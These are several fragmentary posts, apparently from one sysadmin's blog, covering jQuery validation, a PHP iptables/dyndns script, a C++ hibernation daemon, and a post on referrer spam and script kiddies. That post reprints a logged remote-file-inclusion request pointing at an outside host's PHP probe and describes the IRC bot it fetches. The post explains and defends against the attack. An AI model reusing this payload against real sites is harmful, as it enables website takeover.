can’t wait the day when I’ll be able to program DNA

first I tried hacking onStart event but that would load the hash and fail at validation leaving me with a wrong hash in the URL bar

the thing that worked was hacking into the function that binds the event

I just asked there if the bind was for a form element and if so I called validate function
If it returned false I also returned false and effectively stopped form submission
hashes work fine, forms work fine

anyway, this is the piece of code for anyone interested

if(jQuery(this).is('form')) {
if (!jQuery(this).valid()) {
return false;
}
}


happy hacking

I’m a computer programmer so I actually found it quite interesting since the author made an analogy between computer and human viruses

you can learn a lot about flu virus, it’s program code, how it works and what can be done to make it more lethal or benign

here’s the link http://www.bunniestudios.com/blog/?p=353

some tables were simple but some had two or three relationships

I thought about writing a generic class for the simple tables and doing other tables “by hand”

then I realized… maybe someone else wrote something similar

and I’ve found just that

Achievo ATK framework makes it really simple to create /admin for your client so he can manipulate his tables by himself

but that simplicity comes only after you’ve spent some time getting familiar with it

at first, atk coding seemed cryptic but now I’m into it and it feels natural

atk will make your life easier because once you understand it you can easily manufacture table interfaces

it has support for cascading deletes so you don’t have to worry about orphaned records

one thing I’d like to see is full UTF-8 support

it currently uses iso-8859-1 character set by default (english language)

I got it here

but for those with dynamic ip addresses I had to figure out a different solution

so I made a small script in PHP to check for my friends dynamic ip address by looking up his dyndns.org hostname

it checks IP then goes sleeping for 5 minutes

when it detects an ip change it updates firewall by flushing my firends chain and adding a rule to let him access my webserver

this script works in my firewall iptables setup, it could work on yours but you have to be smart and figure that out for yourself, I’m not giving any guaranteess for this, use it as GPL V3 code
if you want me to help you set it up, just contact me

here’s the code:

#!/usr/bin/php
<?php
/*
use this code as GPL V3 licence says
Copyright (C) 2008, Miroslav Madzarevic, All Rights Reserved
*/
$old_ip = '';

while (1) {

    sleep (300);

    $host = 'friend.dyndns.org';

    if (!preg_match('/^'.$host.' has address ((?:\d{1,3}\.){3}\d{1,3})$/',
           exec ("/usr/bin/host $host"), $matches)) {
        echo "IP problems\n";
        continue;
    }

    $ip = $matches[1];

    $ip_parts = preg_split ('/\./', $ip, -1, PREG_SPLIT_NO_EMPTY);

    if (count($ip_parts) != 4) {
        echo "wrong ip parts count\n";
        exit;
    }

    $good = array();

    foreach ($ip_parts as $ip_part) {
        $ip_part = (int) $ip_part;
        if ($ip_part < 1 or $ip_part > 254) {
            echo "wrong ip part, $ip_part\n";
            exit;
        }
        $good[] = $ip_part;
    }

    $new_ip = join('.', $good);

    if ($old_ip != $new_ip) {

        `/sbin/iptables -F friend`;

        `/sbin/iptables -A friend -s $new_ip/32 -p tcp -m tcp --dport 80 -j ACCEPT`;

        $old_ip = $new_ip;
    }
}

?>

FYI Firebug is a great web development add on for Firefox

now after like a month or two I found a way to make it working

just remove the Firebug extension if you have it that does not work

and then install Firebug from the packages

I used the command line

aptitude install firebug

have fun

so I thought I’d make myself a daemon program that will automatically put my computer to hibernate when my laptop battery is almost empty

usually I take care that my battery doesn’t get to the red zone but this is for those few cases I forget

I wrote this small programm in C++

why c++

well because I don’t programm in c++ and I found it interesting to do so

main.cpp looks like this

so, you see the locations of the info and state file for the laptop battery, the percent at which we go to hibernation (I’ve set it to 12%), and the sleep interval before checking the battery state again (10 seconds)

I use my own hibernate script but you could use something like /usr/sbin/hibernate

you can change all of these

in the main function you can se that:

• we work only as a root user
• we daemonize (detach from the terminal and run in background)
• instantiate a worker class object
• and do our work

and what is our work? check out this picture

well we get the battery total capacity and current capacity and then we calculate the percent

if the percent is less that what I want (12%) then I want my laptop to go to hibernaton

but I also made a security check (that you can remove if you like)

that makes sure my laptop doesn’t go twice into hibernation in succession

why did I do that?

well because I parse data from some files I have no influence over

and those files can change their format anytime

so this is just a precaution

I have a simple makefile that compiles this code, copies it to /usr/local/bin/medved (medved in my language means a bear and bears hibernate ) and adds an entry to /etc/rc.local so that it starts next time you reboot your box automatically

you can also start it by hand and see how it works before the reboot

and that’s it, now I have a daemon that puts my laptop to hibernation before my battery runs dry

I’ve published the source code under GPL licence version 3

you can get source code here

wherever there are people, there are good and bad people

lets talk about bad people on the internet misusing osadmin.com

what do they do?

a couple of things

some do referrer poisoning

it’s a technique where they visit your website or just ask for parts of it (images etc.) using fake referrers

why do they do it?

well they hope their website (or their website URL) will turn out in your web statistics software and you’ll click there

they’re just spammers that want you to go there and read an ad or possibly get infected by a virus or similar

next there are people who steal your content

I said on my website that all of this is copyrighted by me

but they have automatic bots, programs, that search the web for blogs and other stuff and steal content

some of them, the more decent ones, just use like 2 lines or so from my website and link to my website

but some of them use all the text from a blog article without mentioning the source

like this one

Host: 70.94.6.217 /mire_blog/wp-includes/images/smilies/icon_smile.gif
Http Code: 200 Date: Apr 14 22:27:48 Http Version: HTTP/1.1 Size in Bytes: 174
Referer: http://weblog.xanga.com/lyudi/652178887/waiting-the-water.html
Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)


here you see his ip address, the url he tried to open on my website (the smiley icon), date when he did it and the referrer
when you actually go there you see my content without the link to my website but before that, he grays the screen and asks for your email address so he can spam you a bit more
oh yeah, and that user agent (mozilla etc.) is fake also

and then there are those who try to break my website by using wordpress crack programs
they are called script kiddies because they use cracking programs somebody else wrote
most of them are teenagers that instead of getting high by thinking about chicks get high on breaking and destroying other people’s websites

now, here’s an example

/category/rss.php?phpraid_dir=http://mcleanmkting.com/catalog/images/default/iyes.txt??
Http Code: 302 Date: Apr 15 01:28:10 Http Version: HTTP/1.1 Size in Bytes: 468
Referer: -
Agent: libwww-perl/5.808


here you see this client asked for my rss and he provided a parameter called phpraid_dir with the url http://mcleanmkting.com/catalog/images/default/iyes.txt??
that means he tried to use that url as an include file in my website script
that is not a text file but a program, a php file that tries to see which of the shell commands work on my system
in also reports which operating system I am using, disk free space etc.

then, it tries to load a perl script from the url http://mcleanmkting.com/catalog/images/default/hai.txt using various download methods because they don’t know which ones work on my system

this perl script is meant to take over the website and to report to the cracker on IRC so he can use the IRC to control my website

the program accepts instructions from nicks sec or SNapper and it communicates with them via IRC private messaging

it’s got a watcher for milw0rm rss feed, tcp/udp flooder, portscan, log destroyer, emailer etc.

I’m a programmer/sysadmin so those tricks will not be so successful on me/my website as they might be on the others because I update my software and track my website activity

I’ve always been a whitehat, meaning I try to make websites work and I write code to do some work

instead those people are blackhat, crackers trying to destroy your website for their own personal benefit

and they’re getting worse by the day

I hope this has been informative, check back osadmin.com for more later

The most interesting for me were the differences between HTML 4 and HTML 5 and the improvements.

HTML 5 adds support for 2D drawing by using the new canvas element. There are also audio and video elements, new data presentational elements, new types for user inputs (like browser based calendars) etc.
Although this is still a draft  it looks promising. Check it out

There are parts for a camera, gps and other stuff. And the interesting thing is that all of them communicate via HTTP, which makes it easy to use and programm.

I’ll go and read about these a lot more later. Don’t wait like me, check it out now.